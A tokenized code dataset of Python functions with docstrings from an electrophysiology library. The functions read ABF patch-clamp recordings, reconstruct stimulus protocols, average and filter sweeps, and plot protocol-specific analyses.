{"signature": "def setsweeps(self):", "body": "for sweep in range(self.sweeps):<EOL><INDENT>self.setsweep(sweep)<EOL>yield self.sweep<EOL><DEDENT>", "docstring": "iterate over every sweep", "id": "f11350:c0:m3"}
{"signature": "def comments_load(self):", "body": "self.comment_times,self.comment_sweeps,self.comment_tags=[],[],[]<EOL>self.comments=<NUM_LIT:0> <EOL>self.comment_text=\"<STR_LIT>\"<EOL>try:<EOL><INDENT>self.comment_tags = list(self.ABFblock.segments[<NUM_LIT:0>].eventarrays[<NUM_LIT:0>].annotations['<STR_LIT>'])<EOL>self.comment_times = list(self.ABFblock.segments[<NUM_LIT:0>].eventarrays[<NUM_LIT:0>].times/self.trace.itemsize)<EOL>self.comment_sweeps = list(self.comment_times)<EOL><DEDENT>except:<EOL><INDENT>for events in self.ABFblock.segments[<NUM_LIT:0>].events: <EOL><INDENT>self.comment_tags = events.annotations['<STR_LIT>'].tolist()<EOL>self.comment_times = np.array(events.times.magnitude/self.trace.itemsize)<EOL>self.comment_sweeps = self.comment_times/self.sweepInterval<EOL><DEDENT><DEDENT>for i,c in enumerate(self.comment_tags):<EOL><INDENT>self.comment_tags[i]=c.decode(\"<STR_LIT:utf-8>\")<EOL><DEDENT>", "docstring": "read the header and populate self with information about comments", "id": "f11350:c0:m4"}
{"signature": "def generate_protocol(self):", "body": "<EOL>self.offsetX = int(self.sweepSize/<NUM_LIT:64>)<EOL>if not len(self.header['<STR_LIT>']):<EOL><INDENT>self.log.debug(\"<STR_LIT>\")<EOL>self.protoX,self.protoY=[<NUM_LIT:0>,self.sweepX[-<NUM_LIT:1>]],[self.holding,self.holding]<EOL>self.protoSeqX,self.protoSeqY=[<NUM_LIT:0>],[self.holding]<EOL>return<EOL><DEDENT>proto=self.header['<STR_LIT>'][self.channel]<EOL>self.protoX,self.protoY=[] ,[]<EOL>self.protoX.append(<NUM_LIT:0>)<EOL>self.protoY.append(self.holding) <EOL>for step in proto:<EOL><INDENT>dX = proto[step]['<STR_LIT>']<EOL>Y = proto[step]['<STR_LIT>']+proto[step]['<STR_LIT>']*self.sweep<EOL>self.protoX.append(self.protoX[-<NUM_LIT:1>])<EOL>self.protoY.append(Y)<EOL>self.protoX.append(self.protoX[-<NUM_LIT:1>]+dX)<EOL>self.protoY.append(Y)<EOL><DEDENT>finalVal=self.holding <EOL>if self.header['<STR_LIT>'][<NUM_LIT:0>]['<STR_LIT>']:<EOL><INDENT>finalVal=self.protoY[-<NUM_LIT:1>]<EOL><DEDENT>self.protoX.append(self.protoX[-<NUM_LIT:1>])<EOL>self.protoY.append(finalVal)<EOL>self.protoX.append(self.sweepSize)<EOL>self.protoY.append(finalVal)<EOL>for i in range(<NUM_LIT:1>,len(self.protoX)-<NUM_LIT:1>): <EOL><INDENT>self.protoX[i]=self.protoX[i]+self.offsetX<EOL><DEDENT>self.protoSeqY=[self.protoY[<NUM_LIT:0>]]<EOL>self.protoSeqX=[self.protoX[<NUM_LIT:0>]]<EOL>for i in range(<NUM_LIT:1>,len(self.protoY)):<EOL><INDENT>if not self.protoY[i]==self.protoY[i-<NUM_LIT:1>]:<EOL><INDENT>self.protoSeqY.append(self.protoY[i])<EOL>self.protoSeqX.append(self.protoX[i])<EOL><DEDENT><DEDENT>if self.protoY[<NUM_LIT:0>]!=self.protoY[<NUM_LIT:1>]:<EOL><INDENT>self.protoY.insert(<NUM_LIT:1>,self.protoY[<NUM_LIT:0>])<EOL>self.protoX.insert(<NUM_LIT:1>,self.protoX[<NUM_LIT:1>])<EOL>self.protoY.insert(<NUM_LIT:1>,self.protoY[<NUM_LIT:0>])<EOL>self.protoX.insert(<NUM_LIT:1>,self.protoX[<NUM_LIT:0>]+self.offsetX/<NUM_LIT:2>)<EOL><DEDENT>self.protoSeqY.append(finalVal)<EOL>self.protoSeqX.append(self.sweepSize)<EOL>self.protoX=np.array(self.protoX)/self.pointsPerSec<EOL>self.protoY=np.array(self.protoY)<EOL>", "docstring": "Recreate the command stimulus (protocol) for the current sweep.\nIt's not stored point by point (that's a waste of time and memory!)\nInstead it's stored as a few (x,y) points which can be easily graphed.\n\nTODO: THIS\nfor segment in abf.ABFreader.read_protocol():\n    for analogsignal in segment.analogsignals:\n        print(analogsignal)\n        plt.plot(analogsignal)\n        plt.show()\n        plt.close('all')", "id": "f11350:c0:m5"}
{"signature": "def get_protocol(self,sweep):", "body": "self.setsweep(sweep)<EOL>return list(self.protoX),list(self.protoY)<EOL>", "docstring": "given a sweep, return the protocol as [Xs,Ys].\nThis is good for plotting/recreating the protocol trace.\nThere may be duplicate numbers.", "id": "f11350:c0:m6"}
{"signature": "def get_protocol_sequence(self,sweep):", "body": "self.setsweep(sweep)<EOL>return list(self.protoSeqX),list(self.protoSeqY)<EOL>", "docstring": "given a sweep, return the protocol as condensed sequence.\nThis is better for comparing similarities and determining steps.\nThere should be no duplicate numbers.", "id": "f11350:c0:m7"}
{"signature": "def clamp_values(self,timePoint=<NUM_LIT:0>):", "body": "print(\"<STR_LIT>\") <EOL>return <NUM_LIT:0><EOL>", "docstring": "return an array of command values at a time point (in sec).\nUseful for things like generating I/V curves.", "id": "f11350:c0:m8"}
{"signature": "def epochTimes(self,nEpoch=<NUM_LIT:2>):", "body": "times=[]<EOL>durations=[]<EOL>for epoch in self.header['<STR_LIT>'][self.channel].values():<EOL><INDENT>print(epoch['<STR_LIT>']/self.pointsPerSec)<EOL>times.append(sum(durations))<EOL>durations.append(epoch['<STR_LIT>']/self.pointsPerSec)<EOL><DEDENT>times.append(sum(durations))<EOL>times=np.array(times)+self.offsetX/self.pointsPerSec <EOL>if nEpoch:<EOL><INDENT>return times[nEpoch],times[nEpoch+<NUM_LIT:1>]<EOL><DEDENT>else:<EOL><INDENT>return times<EOL><DEDENT>", "docstring": "alternative to the existing abf protocol stuff\nreturn the start/stop time of an epoch.\nEpoch start at zero.\nA=0, B=1, C=2, D=3, ...", "id": "f11350:c0:m9"}
{"signature": "def average(self,t1=<NUM_LIT:0>,t2=None,setsweep=False):", "body": "if setsweep:<EOL><INDENT>self.setsweep(setsweep)<EOL><DEDENT>if t2 is None or t2>self.sweepLength:<EOL><INDENT>t2=self.sweepLength<EOL>self.log.debug(\"<STR_LIT>\",t2)<EOL><DEDENT>t1=max(t1,<NUM_LIT:0>)<EOL>if t1>t2:<EOL><INDENT>self.log.error(\"<STR_LIT>\")<EOL>return False<EOL><DEDENT>I1,I2=int(t1*self.pointsPerSec),int(t2*self.pointsPerSec)<EOL>if I1==I2:<EOL><INDENT>return np.nan<EOL><DEDENT>return np.average(self.sweepY[I1:I2])<EOL>", "docstring": "return the average of part of the current sweep.", "id": "f11350:c0:m10"}
{"signature": "def averageSweep(self,sweepFirst=<NUM_LIT:0>,sweepLast=None):", "body": "if sweepLast is None:<EOL><INDENT>sweepLast=self.sweeps-<NUM_LIT:1><EOL><DEDENT>nSweeps=sweepLast-sweepFirst+<NUM_LIT:1><EOL>runningSum=np.zeros(len(self.sweepY))<EOL>self.log.debug(\"<STR_LIT>\",sweepFirst,sweepLast)<EOL>for sweep in np.arange(nSweeps)+sweepFirst:<EOL><INDENT>self.setsweep(sweep)<EOL>runningSum+=self.sweepY.flatten()<EOL><DEDENT>average=runningSum/nSweeps<EOL>return average<EOL>", "docstring": "Return a sweep which is the average of multiple sweeps.\nFor now, standard deviation is lost.", "id": "f11350:c0:m11"}
{"signature": "def kernel_gaussian(self, sizeMS, sigmaMS=None, forwardOnly=False):", "body": "sigmaMS=sizeMS/<NUM_LIT:10> if sigmaMS is None else sigmaMS<EOL>size,sigma=sizeMS*self.pointsPerMs,sigmaMS*self.pointsPerMs<EOL>self.kernel=swhlab.common.kernel_gaussian(size,sigma,forwardOnly)<EOL>return self.kernel<EOL>", "docstring": "create kernel based on this ABF info.", "id": "f11350:c0:m12"}
{"signature": "def sweepYfiltered(self):", "body": "assert self.kernel is not None<EOL>return swhlab.common.convolve(self.sweepY,self.kernel)<EOL>", "docstring": "Get the filtered sweepY of the current sweep.\nOnly works if self.kernel has been generated.", "id": "f11350:c0:m13"}
{"signature": "def sweepYsmartbase(self):", "body": "return self.sweepY-self.sweepYfiltered()<EOL>", "docstring": "return the sweep with sweepYfiltered subtracted from it.", "id": "f11350:c0:m14"}
{"signature": "def phasicNet(self,biggestEvent=<NUM_LIT:50>,m1=<NUM_LIT>,m2=None):", "body": "<EOL>m1=<NUM_LIT:0> if m1 is None else self.pointsPerSec*m1<EOL>m2=-<NUM_LIT:1> if m2 is None else self.pointsPerSec*m2<EOL>Y=self.sweepYsmartbase()[int(m1):int(m2)]<EOL>nBins=<NUM_LIT:1000><EOL>hist,bins=np.histogram(Y,bins=nBins,range=[-biggestEvent,biggestEvent],density=True)<EOL>histSmooth=swhlab.common.lowpass(hist)<EOL>peakI=np.where(histSmooth==max(histSmooth))[<NUM_LIT:0>][<NUM_LIT:0>]<EOL>hist=np.roll(hist,int(nBins/<NUM_LIT:2>-peakI))<EOL>histSmooth=np.roll(histSmooth,int(nBins/<NUM_LIT:2>-peakI))<EOL>downward,upward=np.split(histSmooth,<NUM_LIT:2>)<EOL>downward=downward[::-<NUM_LIT:1>]<EOL>diff=np.sum(upward-downward)<EOL>diff=diff/(len(Y)/self.pointsPerSec)<EOL>return diff<EOL>", "docstring": "Calculates the net difference between positive/negative phasic events\nReturns return the phasic difference value of the current sweep.\n\nArguments:\n    biggestEvent (int): the size of the largest event anticipated\n    m1 (int, optional): the time (sec) to start analyzing\n    m2 (int, optional): the time (sec) to end analyzing\n\nExample:\n    abf=swhlab.ABF(abfFile)\n    abf.kernel=abf.kernel_gaussian(sizeMS=500) # kernel for smart baseline\n    diff=[]\n    for sweep in abf.setsweeps():\n        print(\"Sweep\",sweep)\n        diff.append(analyzeSweep(abf,plot=True,label=\"sweep %d\"%sweep))\n    print(diff)", "id": "f11350:c0:m15"}
{"signature": "def output_touch(self):", "body": "if not os.path.exists(self.outFolder):<EOL><INDENT>self.log.debug(\"<STR_LIT>\",self.outFolder)<EOL>os.mkdir(self.outFolder)<EOL><DEDENT>", "docstring": "ensure the ./swhlab/ folder exists.", "id": "f11350:c0:m16"}
{"signature": "def output_clean(self):", "body": "for fname in glob.glob(self.outPre+\"<STR_LIT:*>\"):<EOL><INDENT>print(\"<STR_LIT>\",fname)<EOL><DEDENT>pass<EOL>", "docstring": "delete all ./swhlab/ data related to this ABF.", "id": "f11350:c0:m17"}
{"signature": "def inspect(self):", "body": "<INDENT>webinspect.blacklist=[] <EOL>webinspect.launch(self.ABFblock.segments[<NUM_LIT:0>].eventarrays[<NUM_LIT:0>],'<STR_LIT>')<EOL>webinspect.blacklist=['<STR_LIT>'] <EOL>webinspect.launch(self.ABFblock.segments[<NUM_LIT:0>].analogsignals[<NUM_LIT:0>],'<STR_LIT>')<EOL>webinspect.blacklist=['<STR_LIT>','<STR_LIT>'] <EOL>webinspect.launch(self.ABFblock.segments[<NUM_LIT:0>],'<STR_LIT>')<EOL>webinspect.blacklist=[] <EOL>webinspect.launch(self.ABFblock,'<STR_LIT>')<EOL>webinspect.blacklist=[] <EOL>webinspect.launch(self.ABFreader,'<STR_LIT>')<EOL><DEDENT>headerFile=r\"<STR_LIT>\"<EOL>headerHTML(self.header,headerFile)<EOL>", "docstring": "Generate HTML containing information about NeoIO objects.\nThis is useful when trying to figure out how to extract data from ABFs.", "id": "f11350:c0:m18"}
{"signature": "def proto_unknown(theABF):", "body": "abf=ABF(theABF)<EOL>abf.log.info(\"<STR_LIT>\")<EOL>plot=ABFplot(abf)<EOL>plot.rainbow=False<EOL>plot.title=None<EOL>plot.figure_height,plot.figure_width=SQUARESIZE,SQUARESIZE<EOL>plot.kwargs[\"<STR_LIT>\"]=<NUM_LIT><EOL>plot.figure_chronological()<EOL>plt.gca().set_axis_bgcolor('<STR_LIT>') <EOL>frameAndSave(abf,\"<STR_LIT>\")<EOL>", "docstring": "protocol: unknown.", "id": "f11351:m0"}
{"signature": "def proto_0111(theABF):", "body": "abf=ABF(theABF)<EOL>abf.log.info(\"<STR_LIT>\")<EOL>ap=AP(abf)<EOL>ap.detect()<EOL>abf.derivative=True<EOL>plt.figure(figsize=(SQUARESIZE,SQUARESIZE))<EOL>ax1=plt.subplot(<NUM_LIT>)<EOL>plt.ylabel(abf.units2)<EOL>ax2=plt.subplot(<NUM_LIT>,sharey=ax1)<EOL>ax3=plt.subplot(<NUM_LIT>)<EOL>plt.ylabel(abf.unitsD2)<EOL>ax4=plt.subplot(<NUM_LIT>,sharey=ax3)<EOL>for sweep in range(abf.sweeps):<EOL><INDENT>abf.setsweep(sweep)<EOL>ax1.plot(abf.sweepX,abf.sweepY,color='<STR_LIT:b>',lw=<NUM_LIT>)<EOL>ax2.plot(abf.sweepX,abf.sweepY,color='<STR_LIT:b>')<EOL>ax3.plot(abf.sweepX,abf.sweepD,color='<STR_LIT:r>',lw=<NUM_LIT>)<EOL>ax4.plot(abf.sweepX,abf.sweepD,color='<STR_LIT:r>')<EOL><DEDENT>for ax in [ax1,ax2,ax3,ax4]: <EOL><INDENT>ax.margins(<NUM_LIT:0>,<NUM_LIT>)<EOL>ax.grid(alpha=<NUM_LIT>)<EOL><DEDENT>for ax in [ax3,ax4]: <EOL><INDENT>ax.axhline(-<NUM_LIT:100>,color='<STR_LIT:r>',alpha=<NUM_LIT>,ls=\"<STR_LIT>\",lw=<NUM_LIT:2>)<EOL><DEDENT>for ax in [ax2,ax4]: <EOL><INDENT>ax.get_yaxis().set_visible(False)<EOL><DEDENT>if len(ap.APs):<EOL><INDENT>firstAP=ap.APs[<NUM_LIT:0>][\"<STR_LIT:T>\"]<EOL>ax2.axis([firstAP-<NUM_LIT>,firstAP+<NUM_LIT>,None,None])<EOL>ax4.axis([firstAP-<NUM_LIT>,firstAP+<NUM_LIT>,None,None])<EOL><DEDENT>if len(ap.APs):<EOL><INDENT>firstAP=ap.APs[<NUM_LIT:0>]<EOL>msg=\"<STR_LIT:\\n>\".join([\"<STR_LIT>\"%(x,str(firstAP[x])) for x in sorted(firstAP.keys()) if not \"<STR_LIT:I>\" in x[-<NUM_LIT:2>:]])<EOL>plt.subplot(<NUM_LIT>)<EOL>plt.gca().text(<NUM_LIT>, <NUM_LIT>, msg, transform= plt.gca().transAxes, fontsize=<NUM_LIT:10>, verticalalignment='<STR_LIT>', family='<STR_LIT>')<EOL><DEDENT>plt.tight_layout()<EOL>frameAndSave(abf,\"<STR_LIT>\")<EOL>plt.close('<STR_LIT:all>')<EOL>", "docstring": "protocol: IC ramp for AP shape analysis.", "id": "f11351:m2"}
{"signature": "def proto_gain(theABF,stepSize=<NUM_LIT>,startAt=-<NUM_LIT:100>):", "body": "abf=ABF(theABF)<EOL>abf.log.info(\"<STR_LIT>\")<EOL>plot=ABFplot(abf)<EOL>plot.kwargs[\"<STR_LIT>\"]=<NUM_LIT><EOL>plot.title=\"<STR_LIT>\"<EOL>currents=np.arange(abf.sweeps)*stepSize-startAt<EOL>ap=AP(abf)<EOL>ap.detect_time1=<NUM_LIT><EOL>ap.detect_time2=<NUM_LIT><EOL>ap.detect()<EOL>plt.figure(figsize=(SQUARESIZE,SQUARESIZE))<EOL>ax1=plt.subplot(<NUM_LIT>)<EOL>plot.figure_sweeps()<EOL>ax2=plt.subplot(<NUM_LIT>)<EOL>ax2.get_yaxis().set_visible(False)<EOL>plot.figure_sweeps(offsetY=<NUM_LIT>)<EOL>for ax in [ax1,ax2]:<EOL><INDENT>for limit in [ap.detect_time1,ap.detect_time2]:<EOL><INDENT>ax.axvline(limit,color='<STR_LIT:r>',ls='<STR_LIT>',alpha=<NUM_LIT>,lw=<NUM_LIT:2>)<EOL><DEDENT><DEDENT>ax4=plt.subplot(<NUM_LIT>)<EOL>plt.ylabel(\"<STR_LIT>\")<EOL>plt.ylabel(\"<STR_LIT>\")<EOL>plt.grid(alpha=<NUM_LIT>)<EOL>freqs=ap.get_bySweep(\"<STR_LIT>\")<EOL>times=ap.get_bySweep(\"<STR_LIT>\")<EOL>for i in range(abf.sweeps):<EOL><INDENT>if len(freqs[i]):<EOL><INDENT>plt.plot(times[i][:-<NUM_LIT:1>],freqs[i],'<STR_LIT:->',alpha=<NUM_LIT>,lw=<NUM_LIT:2>,<EOL>color=plot.getColor(i/abf.sweeps))<EOL><DEDENT><DEDENT>ax4=plt.subplot(<NUM_LIT>)<EOL>ax4.grid(alpha=<NUM_LIT>)<EOL>plt.plot(currents,ap.get_bySweep(\"<STR_LIT>\"),'<STR_LIT>',label=\"<STR_LIT>\")<EOL>plt.plot(currents,ap.get_bySweep(\"<STR_LIT>\"),'<STR_LIT>',label=\"<STR_LIT>\")<EOL>plt.xlabel(\"<STR_LIT>\")<EOL>plt.legend(loc=<NUM_LIT:2>,fontsize=<NUM_LIT:10>)<EOL>plt.axhline(<NUM_LIT>,color='<STR_LIT:r>',alpha=<NUM_LIT>,ls=\"<STR_LIT>\",lw=<NUM_LIT:2>)<EOL>plt.margins(<NUM_LIT>,<NUM_LIT>)<EOL>plt.tight_layout()<EOL>frameAndSave(abf,\"<STR_LIT>\"%(startAt,stepSize))<EOL>plt.close('<STR_LIT:all>')<EOL>plt.figure(figsize=(SQUARESIZE,SQUARESIZE))<EOL>plt.grid(alpha=<NUM_LIT>)<EOL>plt.ylabel(\"<STR_LIT>\")<EOL>plt.xlabel(\"<STR_LIT>\")<EOL>for sweep in abf.setsweeps():<EOL><INDENT>plt.plot(abf.sweepX2,abf.sweepY,color='<STR_LIT:b>',alpha=<NUM_LIT>)<EOL>if np.max(abf.sweepY><NUM_LIT:0>):<EOL><INDENT>break<EOL><DEDENT><DEDENT>plt.tight_layout()<EOL>plt.margins(<NUM_LIT:0>,<NUM_LIT>)<EOL>plt.axis([<NUM_LIT:0>,<NUM_LIT:1>,None,None])<EOL>plt.title(\"<STR_LIT>\"%stepSize)<EOL>frameAndSave(abf,\"<STR_LIT>\",closeWhenDone=False)<EOL>plt.axis([<NUM_LIT>,<NUM_LIT>,None,None])<EOL>plt.title(\"<STR_LIT>\"%(stepSize,startAt))<EOL>frameAndSave(abf,\"<STR_LIT>\",closeWhenDone=False)<EOL>plt.close('<STR_LIT:all>')<EOL>", "docstring": "protocol: gain function of some sort. step size and start at are pA.", "id": "f11351:m3"}
{"signature": "def proto_0201(theABF):", "body": "abf=ABF(theABF)<EOL>abf.log.info(\"<STR_LIT>\")<EOL>plot=ABFplot(abf)<EOL>plot.figure_height,plot.figure_width=SQUARESIZE/<NUM_LIT:2>,SQUARESIZE/<NUM_LIT:2><EOL>plot.figure_sweeps()<EOL>plt.tight_layout()<EOL>frameAndSave(abf,\"<STR_LIT>\")<EOL>plt.close('<STR_LIT:all>')<EOL>", "docstring": "protocol: membrane test.", "id": "f11351:m7"}
{"signature": "def proto_0202(theABF):", "body": "abf=ABF(theABF)<EOL>abf.log.info(\"<STR_LIT>\")<EOL>plot=ABFplot(abf)<EOL>plot.figure_height,plot.figure_width=SQUARESIZE,SQUARESIZE<EOL>plot.title=\"<STR_LIT>\"<EOL>plot.kwargs[\"<STR_LIT>\"]=<NUM_LIT><EOL>plot.figure_sweeps()<EOL>abf.setsweep(<NUM_LIT:0>)<EOL>plt.axis([None,None,abf.average(<NUM_LIT>,<NUM_LIT:1>)-<NUM_LIT:100>,None])<EOL>abf.setsweep(-<NUM_LIT:1>)<EOL>plt.axis([None,None,None,abf.average(<NUM_LIT>,<NUM_LIT:1>)+<NUM_LIT:100>])<EOL>plt.tight_layout()<EOL>frameAndSave(abf,\"<STR_LIT>\")<EOL>plt.close('<STR_LIT:all>')<EOL>", "docstring": "protocol: MTIV.", "id": "f11351:m8"}
{"signature": "def proto_0203(theABF):", "body": "abf=ABF(theABF)<EOL>abf.log.info(\"<STR_LIT>\")<EOL>plot=ABFplot(abf)<EOL>plot.title=\"<STR_LIT>\"<EOL>m1,m2=<NUM_LIT>,<NUM_LIT:1><EOL>plt.figure(figsize=(SQUARESIZE,SQUARESIZE/<NUM_LIT:2>))<EOL>plt.subplot(<NUM_LIT>)<EOL>plot.figure_sweeps()<EOL>plt.axvspan(m1,m2,color='<STR_LIT:r>',ec=None,alpha=<NUM_LIT>)<EOL>plt.subplot(<NUM_LIT>)<EOL>plt.grid(alpha=<NUM_LIT>)<EOL>Xs=np.arange(abf.sweeps)*<NUM_LIT:5>-<NUM_LIT><EOL>Ys=[]<EOL>for sweep in range(abf.sweeps):<EOL><INDENT>abf.setsweep(sweep)<EOL>Ys.append(abf.average(m1,m2))<EOL><DEDENT>plt.plot(Xs,Ys,'<STR_LIT>',ms=<NUM_LIT:10>)<EOL>plt.axvline(-<NUM_LIT>,color='<STR_LIT:r>',ls='<STR_LIT>',lw=<NUM_LIT:2>,alpha=<NUM_LIT>)<EOL>plt.axhline(<NUM_LIT:0>,color='<STR_LIT:r>',ls='<STR_LIT>',lw=<NUM_LIT:2>,alpha=<NUM_LIT>)<EOL>plt.margins(<NUM_LIT>,<NUM_LIT>)<EOL>plt.xlabel(\"<STR_LIT>\")<EOL>plt.tight_layout()<EOL>frameAndSave(abf,\"<STR_LIT>\")<EOL>plt.close('<STR_LIT:all>')<EOL>", "docstring": "protocol: vast IV.", "id": "f11351:m9"}
{"signature": "def proto_0204(theABF):", "body": "abf=ABF(theABF)<EOL>abf.log.info(\"<STR_LIT>\")<EOL>plot=ABFplot(abf)<EOL>plot.figure_height,plot.figure_width=SQUARESIZE/<NUM_LIT:2>,SQUARESIZE/<NUM_LIT:2><EOL>plot.figure_sweeps()<EOL>plt.tight_layout()<EOL>frameAndSave(abf,\"<STR_LIT>\")<EOL>plt.close('<STR_LIT:all>')<EOL>", "docstring": "protocol: Cm ramp.", "id": "f11351:m10"}
{"signature": "def proto_0222(theABF):", "body": "abf=ABF(theABF)<EOL>abf.log.info(\"<STR_LIT>\")<EOL>plot=ABFplot(abf)<EOL>plot.figure_height,plot.figure_width=SQUARESIZE/<NUM_LIT:2>,SQUARESIZE/<NUM_LIT:2><EOL>plot.figure_sweeps()<EOL>plt.tight_layout()<EOL>frameAndSave(abf,\"<STR_LIT>\")<EOL>plt.close('<STR_LIT:all>')<EOL>", "docstring": "protocol: VC sine sweep.", "id": "f11351:m11"}
{"signature": "def proto_0303(theABF):", "body": "abf=ABF(theABF)<EOL>abf.log.info(\"<STR_LIT>\")<EOL>proto_avgRange(theABF,<NUM_LIT>,<NUM_LIT>)<EOL>plt.close('<STR_LIT:all>')<EOL>plt.figure(figsize=(<NUM_LIT:8>,<NUM_LIT:8>))<EOL>for sweep in abf.setsweeps():<EOL><INDENT>color='<STR_LIT:b>'<EOL>if sweep in np.array(abf.comment_sweeps,dtype=int):<EOL><INDENT>color='<STR_LIT:r>'<EOL><DEDENT>plt.plot(abf.sweepX2,abf.sweepY+<NUM_LIT:100>*sweep,color=color,alpha=<NUM_LIT>)<EOL><DEDENT>plt.margins(<NUM_LIT:0>,<NUM_LIT>)<EOL>plt.tight_layout()<EOL>frameAndSave(abf,\"<STR_LIT>\")<EOL>plt.close('<STR_LIT:all>')<EOL>ap=AP(abf)<EOL>ap.detect_time1=<NUM_LIT><EOL>ap.detect_time2=<NUM_LIT><EOL>ap.detect()<EOL>apCount=[]<EOL>apSweepTimes=[]<EOL>for sweepNumber,times in enumerate(ap.get_bySweep(\"<STR_LIT>\")):<EOL><INDENT>apCount.append(len(times))<EOL>if len(times):<EOL><INDENT>apSweepTimes.append(times[<NUM_LIT:0>])<EOL><DEDENT>else:<EOL><INDENT>apSweepTimes.append(<NUM_LIT:0>)<EOL><DEDENT><DEDENT>plt.figure(figsize=(<NUM_LIT:8>,<NUM_LIT:8>))<EOL>ax1=plt.subplot(<NUM_LIT>)<EOL>plt.grid(alpha=<NUM_LIT>,ls='<STR_LIT>')<EOL>plt.plot(np.arange(len(apCount))*abf.sweepLength/<NUM_LIT>,apCount,'<STR_LIT>',ms=<NUM_LIT:15>)<EOL>comment_lines(abf)<EOL>plt.ylabel(\"<STR_LIT>\")<EOL>plt.subplot(<NUM_LIT>,sharex=ax1)<EOL>plt.grid(alpha=<NUM_LIT>,ls='<STR_LIT>')<EOL>plt.plot(np.arange(len(apCount))*abf.sweepLength/<NUM_LIT>,apSweepTimes,'<STR_LIT>',ms=<NUM_LIT:15>)<EOL>comment_lines(abf)<EOL>plt.ylabel(\"<STR_LIT>\")<EOL>plt.xlabel(\"<STR_LIT>\")<EOL>plt.tight_layout()<EOL>frameAndSave(abf,\"<STR_LIT>\")<EOL>plt.close('<STR_LIT:all>')<EOL>", "docstring": "protocol: repeated IC ramps.", "id": "f11351:m13"}
{"signature": "def proto_0304(theABF):", "body": "abf=ABF(theABF)<EOL>abf.log.info(\"<STR_LIT>\")<EOL>ap=AP(abf)<EOL>avgVoltagePerSweep = [];<EOL>times = []<EOL>for sweep in abf.setsweeps():<EOL><INDENT>avgVoltagePerSweep.append(abf.average(<NUM_LIT:0>,<NUM_LIT:3>))<EOL>times.append(abf.sweepStart/<NUM_LIT>)<EOL><DEDENT>M1,M2=<NUM_LIT>,<NUM_LIT><EOL>ap.detect_time1, ap.detect_time2 = M1,M2<EOL>ap.detect()<EOL>apsPerSweepCos=[len(x) for x in ap.get_bySweep()]<EOL>M1,M2=<NUM_LIT:0>,<NUM_LIT:10><EOL>ap.detect_time1, ap.detect_time2 = M1,M2<EOL>ap.detect()<EOL>apsPerSweepRamp=[len(x) for x in ap.get_bySweep()]<EOL>plt.figure(figsize=(<NUM_LIT:8>,<NUM_LIT:8>))<EOL>plt.subplot(<NUM_LIT>)<EOL>plt.grid(ls='<STR_LIT>',alpha=<NUM_LIT>)<EOL>plt.plot(times,avgVoltagePerSweep,'<STR_LIT>')<EOL>plt.ylabel(\"<STR_LIT>\")<EOL>comment_lines(abf)<EOL>plt.subplot(<NUM_LIT>)<EOL>plt.grid(ls='<STR_LIT>',alpha=<NUM_LIT>)<EOL>plt.plot(times,apsPerSweepCos,'<STR_LIT>')<EOL>plt.ylabel(\"<STR_LIT>\")<EOL>comment_lines(abf)<EOL>plt.subplot(<NUM_LIT>)<EOL>plt.grid(ls='<STR_LIT>',alpha=<NUM_LIT>)<EOL>plt.plot(times,apsPerSweepRamp,'<STR_LIT>')<EOL>plt.ylabel(\"<STR_LIT>\")<EOL>comment_lines(abf)<EOL>plt.tight_layout()<EOL>frameAndSave(abf,\"<STR_LIT>\")<EOL>plt.close('<STR_LIT:all>')<EOL>", "docstring": "protocol: repeated IC steps.", "id": "f11351:m14"}
{"signature": "def proto_avgRange(theABF,m1=None,m2=None):", "body": "abf=ABF(theABF)<EOL>abf.log.info(\"<STR_LIT>\")<EOL>if m1 is None:<EOL><INDENT>m1=abf.sweepLength<EOL><DEDENT>if m2 is None:<EOL><INDENT>m2=abf.sweepLength<EOL><DEDENT>I1=int(abf.pointsPerSec*m1)<EOL>I2=int(abf.pointsPerSec*m2)<EOL>Ts=np.arange(abf.sweeps)*abf.sweepInterval<EOL>Yav=np.empty(abf.sweeps)*np.nan <EOL>Ysd=np.empty(abf.sweeps)*np.nan <EOL>for sweep in abf.setsweeps():<EOL><INDENT>Yav[sweep]=np.average(abf.sweepY[I1:I2])<EOL>Ysd[sweep]=np.std(abf.sweepY[I1:I2])<EOL><DEDENT>plot=ABFplot(abf)<EOL>plt.figure(figsize=(SQUARESIZE*<NUM_LIT:2>,SQUARESIZE/<NUM_LIT:2>))<EOL>plt.subplot(<NUM_LIT>)<EOL>plot.title=\"<STR_LIT>\"<EOL>plot.figure_sweep(<NUM_LIT:0>)<EOL>plt.title(\"<STR_LIT>\")<EOL>plt.axvspan(m1,m2,color='<STR_LIT:r>',ec=None,alpha=<NUM_LIT>)<EOL>plt.subplot(<NUM_LIT>)<EOL>plt.grid(alpha=<NUM_LIT>)<EOL>for i,t in enumerate(abf.comment_times):<EOL><INDENT>plt.axvline(t/<NUM_LIT>,color='<STR_LIT:r>',alpha=<NUM_LIT>,lw=<NUM_LIT:2>,ls='<STR_LIT>')<EOL><DEDENT>plt.plot(Ts/<NUM_LIT>,Yav,'<STR_LIT:.>',alpha=<NUM_LIT>)<EOL>plt.title(\"<STR_LIT>\"%(\"<STR_LIT:U+002CU+0020>\".join(abf.comment_tags)))<EOL>plt.ylabel(abf.units2)<EOL>plt.xlabel(\"<STR_LIT>\")<EOL>plt.margins(<NUM_LIT:0>,<NUM_LIT>)<EOL>plt.subplot(<NUM_LIT>)<EOL>plt.grid(alpha=<NUM_LIT>)<EOL>for i,t in enumerate(abf.comment_times):<EOL><INDENT>plt.axvline(t/<NUM_LIT>,color='<STR_LIT:r>',alpha=<NUM_LIT>,lw=<NUM_LIT:2>,ls='<STR_LIT>')<EOL><DEDENT>plt.plot(Ts/<NUM_LIT>,Ysd,'<STR_LIT:.>',alpha=<NUM_LIT>,color='<STR_LIT:g>',ms=<NUM_LIT:15>,mew=<NUM_LIT:0>)<EOL>plt.title(\"<STR_LIT>\"%(\"<STR_LIT:U+002CU+0020>\".join(abf.comment_tags)))<EOL>plt.ylabel(abf.units2)<EOL>plt.xlabel(\"<STR_LIT>\")<EOL>plt.margins(<NUM_LIT:0>,<NUM_LIT>)<EOL>plt.axis([None,None,<NUM_LIT:0>,np.percentile(Ysd,<NUM_LIT>)*<NUM_LIT>])<EOL>plt.tight_layout()<EOL>frameAndSave(abf,\"<STR_LIT>\",\"<STR_LIT>\")<EOL>plt.close('<STR_LIT:all>')<EOL>", "docstring": "experiment: generic VC time course experiment.", "id": "f11351:m27"}
